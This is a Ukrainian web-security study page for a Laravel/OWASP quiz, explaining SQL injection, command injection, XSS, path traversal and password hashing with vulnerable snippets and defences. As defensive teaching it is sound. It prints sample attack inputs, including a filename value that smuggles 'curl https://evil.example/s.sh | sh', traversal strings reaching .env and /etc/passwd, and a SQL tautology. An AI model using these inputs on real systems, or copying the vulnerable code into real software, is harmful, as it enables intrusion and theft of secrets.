Безпека вебзастосунків
20 питань · ~20 хв · Версія v3.0
Увійдіть, щоб продовжити
XSS, CSRF і CORS, ін'єкції, автентифікація й авторизація, паролі й шифрування, заголовки безпеки, завантаження файлів, SSRF і секрети - на прикладах Laravel 13 і OWASP Top 10:2025.
- За спробу
- 20
- У пулі
- 100
- Проходжень
- 0
- Середній бал
- -
- Пройшли на 70%+
- -
Питання для підготовки
103 питанняSQL-ін'єкція - коли дані від користувача потрапляють у текст SQL-запиту й змінюють його структуру.
// Вразливо
$sql = "SELECT * FROM users WHERE email = '" . $_GET['email'] . "'";
// email = ' OR '1'='1 → WHERE email = '' OR '1'='1' → усі користувачі
Наслідки - від читання чужих даних і обходу входу до видалення таблиць і, в окремих конфігураціях, виконання команд на сервері.
Захист - підготовлені запити (prepared statements): структура запиту й дані передаються в базу окремо. База спершу розбирає SQL із заповнювачами, а значення підставляє вже як дані - вони не можуть стати частиною синтаксису.
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ?');
$stmt->execute([$email]);
User::where('email', $email)->first(); // Eloquent і Query Builder роблять те саме
Де помиляються навіть з ORM:
- Сирі вирази з конкатенацією:
whereRaw("email = '$email'"),DB::select("... $id"). Сирий SQL - лише з прив'язками:whereRaw('lower(email) = ?', [$email]). - Імена колонок і напрямок сортування не можна передати заповнювачем.
orderBy($request->input('sort'))- звіряти з білим списком дозволених значень. LIKE- заповнювач захищає від ін'єкції, але%і_у введенні все одно працюють як шаблони; їх треба екранувати, якщо це важливо.
Додатково: користувач бази для застосунку з мінімальними правами (без DROP, без доступу до чужих баз) - щоб навіть успішна ін'єкція мала обмежені наслідки.
Ін'єкція команд - дані від користувача потрапляють у рядок, який виконує командна оболонка (shell). Оболонка інтерпретує спецсимволи (;, &&, |, `, $()), і зловмисник дописує власну команду.
// вразливо
$file = $request->input('file');
exec("convert uploads/{$file} -resize 200x200 thumbs/{$file}");
// file = "a.jpg; curl https://evil.example/s.sh | sh"
Наслідок - виконання довільних команд з правами вебсервера: читання .env, встановлення бекдору, доступ до бази.
Захист - у порядку пріоритету:
1. Не викликати shell, якщо є бібліотека. Замість convert - Intervention Image/Imagick, замість curl - HTTP-клієнт, замість zip - ZipArchive.
2. Передавати команду масивом аргументів - тоді оболонка не залучається взагалі, і спецсимволи не мають значення:
use Illuminate\Support\Facades\Process;
Process::run(['convert', "uploads/{$file}", '-resize', '200x200', "thumbs/{$file}"]);
Symfony Process і Laravel Process з масивом передають аргументи програмі напряму. Рядок (Process::run("convert ...")) знову йде через shell.
3. Якщо рядок неминучий - кожен аргумент через escapeshellarg():
exec('convert ' . escapeshellarg($path) . ' ...');
4. Білий список значень для всього, що можна обмежити (формат, розмір, назва операції), і перевірка, що шлях лежить у дозволеному каталозі.
Пастка - ін'єкція аргументів. Навіть без shell значення, що починається з -, програма сприйме як опцію: файл з назвою --output=/var/www/public/shell.php чи -o.... Захист - роздільник -- перед позиційними аргументами (якщо програма його підтримує) і перевірка формату значень.
Додатково:
- функції
exec,system,passthru,shell_execіproc_openможна вимкнути вdisable_functions, якщо застосунку вони не потрібні; - процес вебсервера - з мінімальними правами в системі;
- назви завантажених файлів не використовувати в командах і шляхах - генерувати власні.
Докладніше в документації: OWASP: захист від ін'єкції команд ОС
XSS (Cross-Site Scripting) - вразливість, за якої нападник змушує сайт показати іншим користувачам свій JavaScript. Скрипт виконується в браузері жертви з правами вашого сайту: читає дані сторінки, робить запити від імені користувача, підміняє форми, краде токени з localStorage.
Три види:
- Збережений (stored) - шкідливий код зберігається на сервері: коментар, ім'я профілю, опис товару. Спрацьовує в кожного, хто відкриє сторінку. Найнебезпечніший.
- Відображений (reflected) - код приходить у параметрі запиту й одразу виводиться у відповіді:
/search?q=<script>...</script>. Жертву треба змусити перейти за посиланням. - DOM-based - вразливість повністю в клієнтському JavaScript: скрипт бере дані з
location.hashчи URL і вставляє черезinnerHTML, сервер навіть не бачить шкідливого вмісту.
Основний захист - екранування при виведенні відповідно до контексту:
{{ $comment->body }} {{-- Blade екранує HTML автоматично --}}
{!! $comment->body !!} {{-- небезпечно для даних користувача --}}
Додаткові рівні:
textContentзамістьinnerHTMLу JavaScript;- санітайзер (HTML Purifier, DOMPurify), якщо HTML від користувача справді потрібен;
- Content Security Policy, що забороняє інлайнові скрипти;
- cookie сесії з
HttpOnly- XSS не зможе її прочитати (хоча робити запити від імені користувача все одно зможе).
Контексти мають значення: екранування для HTML не захищає значення в атрибуті href (javascript:alert(1)), усередині <script> чи CSS. Для кожного контексту - свої правила.
Обхід шляху - назва файлу від користувача містить ../ і виводить за межі дозволеного каталогу:
// вразливо
Route::get('/download', function (Request $request) {
return response()->download(storage_path('app/invoices/' . $request->query('file')));
});
// file=../../.env → storage/app/invoices/../../.env → .env застосунку
Так читають .env (ключі, паролі бази), конфігурацію, вихідний код, системні файли. У поєднанні із записом файлів (розпакування архівів, збереження за назвою від користувача) - перезапис коду й виконання команд.
Варіанти атаки, які наївна перевірка пропускає:
- закодовані послідовності:
%2e%2e%2f, подвійне кодування%252e; - зворотні слеші на Windows:
..\..\; - абсолютні шляхи:
/etc/passwd; - Zip Slip: архів з файлом
../../public/shell.php- під час розпакування він опиниться поза цільовим каталогом.
Захист:
1. Не приймати шлях від користувача взагалі. Найкраще - ідентифікатор запису в базі, а шлях до файлу береться з бази:
Route::get('/invoices/{invoice}/download', function (Invoice $invoice) {
Gate::authorize('view', $invoice);
return Storage::disk('invoices')->download($invoice->path);
});
Заодно це вирішує й авторизацію: користувач отримує лише свій файл.
2. Якщо назва з запиту неминуча - лише ім'я файлу без каталогів і білий список символів:
$name = basename($request->query('file'));
abort_unless(preg_match('/^[a-z0-9_-]+\.pdf$/i', $name), 404);
3. Перевірка канонічного шляху:
$base = realpath(storage_path('app/invoices'));
$path = realpath($base . DIRECTORY_SEPARATOR . $name);
abort_unless($path !== false && str_starts_with($path, $base . DIRECTORY_SEPARATOR), 404);
4. Розпакування архівів - перевіряти кожен шлях усередині до запису.
Laravel Storage нормалізує шляхи й не дає вийти за корінь диска через ../ (Flysystem кидає виняток для шляхів за межами кореня). Але це не замінює перевірку прав: файл іншого користувача всередині того самого диска - вже не path traversal, а помилка авторизації.
Паролі ніколи не зберігають у відкритому вигляді чи зашифрованими - лише як хеш спеціальної повільної функції з сіллю.
Чому не шифрування: зашифроване можна розшифрувати. Хто отримав ключ разом з базою, отримав усі паролі. Хеш - односторонній: навіть сервер не знає пароля, лише вміє перевірити.
Чому не md5/sha256: вони створені швидкими. Сучасна відеокарта перебирає мільярди хешів SHA-256 за секунду, тож витеклу базу з простими паролями підбирають за години.
Правильні функції - навмисно повільні й налаштовувані:
- Argon2id - рекомендований вибір;
- bcrypt - перевірений, широко підтримуваний (обмеження: використовує лише перші 72 байти пароля).
$hash = password_hash($password, PASSWORD_ARGON2ID); // або PASSWORD_DEFAULT (bcrypt)
if (password_verify($input, $hash)) {
// вхід
}
Hash::make($password); // Laravel: bcrypt за замовчуванням, налаштовується
Hash::check($input, $hash);
Сіль - випадкове значення, унікальне для кожного пароля. Вона робить однакові паролі різними хешами й унеможливлює готові таблиці (rainbow tables). password_hash генерує сіль сам і зберігає її в рядку хешу - окрема колонка не потрібна.
Ще правила:
- Перехешування при вході (
password_needs_rehash, у Laravel - автоматично), коли збільшується вартість чи змінюється алгоритм. - Ліміт спроб входу, щоб онлайн-перебір був непрактичним.
- Перевірка на злиті паролі (Have I Been Pwned, правило
Password::uncompromised()у Laravel) замість вимог «велика літера + цифра + символ».
Прочитати - ще не значить знати
20 питань, по одному на екран, ~20 хв. Після завершення - розбір кожної помилки з посиланням на питання.